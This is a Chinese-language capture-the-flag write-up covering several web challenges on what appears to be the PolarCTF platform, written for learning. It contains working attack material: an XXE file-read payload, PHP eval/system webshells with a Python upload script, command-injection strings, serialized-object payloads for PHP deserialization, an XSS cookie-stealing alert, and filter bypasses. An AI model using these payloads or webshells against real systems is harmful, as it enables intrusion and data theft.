ExX?

打开给了提示inflagggg.php

打开phpinfo,多了个c的get传参

尝试用伪协议读一下无果

想着可能藏在别的什么,扫一个目录,发现/dom.php

访问一下

看着好熟悉好像跟前面做的第五题一样,确认为xxe漏洞

构造一下:

<?xml version="1.0"?>
<!DOCTYPE x [
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<x>&f;</x>

bp抓包发一下

解码得到flag

EZ_Host

打开环境存在?host=YOUR_HOST可执行参数

执行命令

127.0.0.1;ls

pyload:

127.0.0.1;cat flag

传马

题目名字叫传马,就知道这题可能跟文件上传漏洞有点关系,

打开环境果然是

依旧看看前端,也没有限制

准备一个照片马

GIF89a
<?php @eval($_POST['pass']);?>

上传成功

不确定后端也没有检查,改一下文件后缀,上传竟然上传成功,看来只有一个前端验证

蚁剑连一下

得到flag

笑傲上传

好像也是一个文件上传

还是看看前端

访问/include.php,看到源码

上传shell.png发现被改成

改成php试一下会不会成功,看看也没有后端限制

复制这个路径,去/include.php,进行文件包含,发现显示上传得到文件头

执行命令成功

pyload:post传

pass=system('cat /flag.txt');

序列一下

这题应该是反序列化

构造一下

<?php
class Polar {
    public $url = 'polarctf.com';
    public $lt  = 'system';
    public $b   = 'ls';
}
echo serialize(new Polar);
?>

执行成功

改成查看根目录

pyload

O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:9:"cat /flag";}

坏掉的上传页

打开环境,说上传页面被黑客攻击无法上传l

点击浏览文件的时候,url多出来一个?想着上传点不在这

扫一下目录

访问一下/config.php,发现了默认的上传路径,

ai生成一个python脚本

import requests
url = "http://b32f4521-fb66-4d61-ab5d-23cf1c782822.www.polarctf.com:8090/"
shell = b'<?php system($_POST["c"]); ?>'
files = {
    "file": ("shell.php", shell)
}
res = requests.post(url, files=files, timeout=8)
print("状态码:", res.status_code)
print("响应:\n", res.text)

直接执行,到/database.db验证一下执行结果得到文件路径(谷歌浏览器)

访问/uploadsabc/file_6a8d4169abba08.75972189.php,执行命令成功

找一下flag文件找到在/var/www/html/flag{???}里

find / -name "flag*"

得到flag

pyload:

c=cat /var/www/html/flag{???}

xxmmll

那就看看源代码吧

扫个目录看看

flag.txt里没有flag

访问/docker-compose.yml里

Note

有一句提示

扫个目录吧,发现flag文件

得到

但是根据题目,提示去访问日志/debug.log

访问/docker-compose.yml

/Dockerfile

都没什么继续看/debug.log

看不懂甩给ai分析了一下知道存在 Note 类,有 filename 属性(默认 logs.txt),应用对 data 参数调用 unserialize()

<?php
class Note {
    private $filename = 'logs.txt';   // ★ private!所以序列化必须写 s:14:"\0Note\0filename"

    public function __construct() {
        // 每次 new Note() 就往 debug.log 打一条 initialized
        file_put_contents('debug.log', "[DEBUG] Class: Note initialized\n", FILE_APPEND);
    }

    public function __destruct() {
        // ★ 漏洞触发点:读文件并原样输出
        // 只控制 filename 即可读任意文件(对应 "file path manipulation" 提示)
        if (file_exists($this->filename)) {
            echo file_get_contents($this->filename);
        }
    }
}

// ===== 题目故意留下的调试线索(写死追加到 debug.log)=====
file_put_contents('debug.log', "[DEBUG] Class: Note | Default Filename: logs.txt\n", FILE_APPEND);
file_put_contents('debug.log', "[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.\n", FILE_APPEND);
file_put_contents('debug.log', "[DEBUG] Remember to validate user input.\n", FILE_APPEND);
file_put_contents('debug.log', "[DEBUG] Potential file path manipulation in Note class.\n", FILE_APPEND);

// 模拟“笔记本”初始化,每次请求 new 出一批 Note(所以 debug.log 每次 +7 行 initialized)
for ($i = 0; $i < 7; $i++) {
    new Note();
}

// ===== 漏洞入口 =====
if (isset($_GET['data'])) {
    @unserialize($_GET['data']);   // ★ 用户数据直接反序列化,零校验
}

// ===== 表单(干扰项)=====
if (isset($_POST['content'])) {
    file_put_contents('logs.txt', $_POST['content']);  // 或仅回显
}
?>
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>我的笔记本</title></head>
<body>
<h1>欢迎来到我的笔记本</h1>
<form method="post">
    <textarea name="content" rows="10" cols="30"><?php echo isset($_POST['content'])?htmlspecialchars($_POST['content']):''; ?></textarea><br>
    <input type="submit" value="保存">
</form>
<p>提示:调试日志可能包含重要线索。</p>
</body>
</html>

我们构造

<?php
class Note {
    private $filename;
    private $content;
}
$note = new Note();
$ref = new ReflectionClass($note);
$prop = $ref->getProperty('filename');
$prop->setAccessible(true);
$prop->setValue($note, 'flag.txt');
echo urlencode(serialize($note));
?>

pyload

?data=O%3A4%3A%22Note%22%3A2%3A%7Bs%3A14%3A%22%00Note%00filename%22%3Bs%3A8%3A%22flag.txt%22%3Bs%3A13%3A%22%00Note%00content%22%3BN%3B%7D

赌王

打开说,那就摇

点了半天都没有,懒得弄了爆破

抓包发到intruderr

成功摇到

访问/ed3d2c21991e3bef5e069713af9fa6ca.php,要加php的后缀噢

好像无论输入多大都大1

应该是想办法绕过,试了字符不行,进制转换都不行,只能利用php特性任意数字和数组做大小比较,结果永远返回false

userInput[]=1

得到e744f91c29ec99f0e662c9177946c627,访问e744f91c29ec99f0e662c9177946c627.php进入第三关

输入什么都是权限不足,看了一下源代码

想到了X-Forwarded-For,值改成1.1.1.1

找到flag文件

得到flag

复读机RCE

题目都说rec了,就试试了

试了一下无论什么命令都会触发

联想题目复读机,想着打印试试

echo 1,成功打印1

尝试打印出来当前文件

echo ls,结果给ls打印出来了

换一种,echo 1;ls

成功打印当前文化

echo 1;cat index.php成功查看源码


<pre>1
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $cmd = $_POST['cmd'];
    // 仅允许 echo 命令
    if (stripos($cmd, 'echo') === false) {
        echo "这是内部消息,我不能说,你只能自己找";
        exit;
    }

    // 执行用户命令
    $output = shell_exec($cmd);
    echo "<pre>$output</pre>";
}
?>

原来没有过滤,是检测我们输入的字符只要带有echo就会被代码放到shell_exec中执行,这也解释了为什么之前的函数都无法使用

echo 1;ls /

pyload:

flag{12400320-EBCD-D827-09A8-B0D909863DB7}

xCsMsD

打开一个登录框

找找账户密码,在源代码里没有找到

扫个目录找到

但是不知道怎么是口的搜了wp看到都有

admin;admin123但是不对

注册返回,users.txt查看就有了

登录进去,发现执行xss

执行<script>alert('1');</script>没有反应,f12查看一下

既然它帮我们加上了,那我们就不输入前面的标签了,直接输入alert('1');</script>成功弹窗:

成功弹窗

我们尝试获取cookie,构造语句:

alert(document.cookie);</script>

成功弹出cookie:

解码一下

意思是

+会转义成-,\会转义成/

切换到,命令执行窗口

成功执行命令

找一下flag文件,ls-\

cat读取一下,发现禁止使用cat

tac绕过一下

pyload

tac-/flag

发现这个也可以

coke的登陆

代码审计发现一个cookies.php

不知道是账户名还是密码再往下找找东西

点了提示发现这个

找到账号名,知道前面那个应该是密码

果然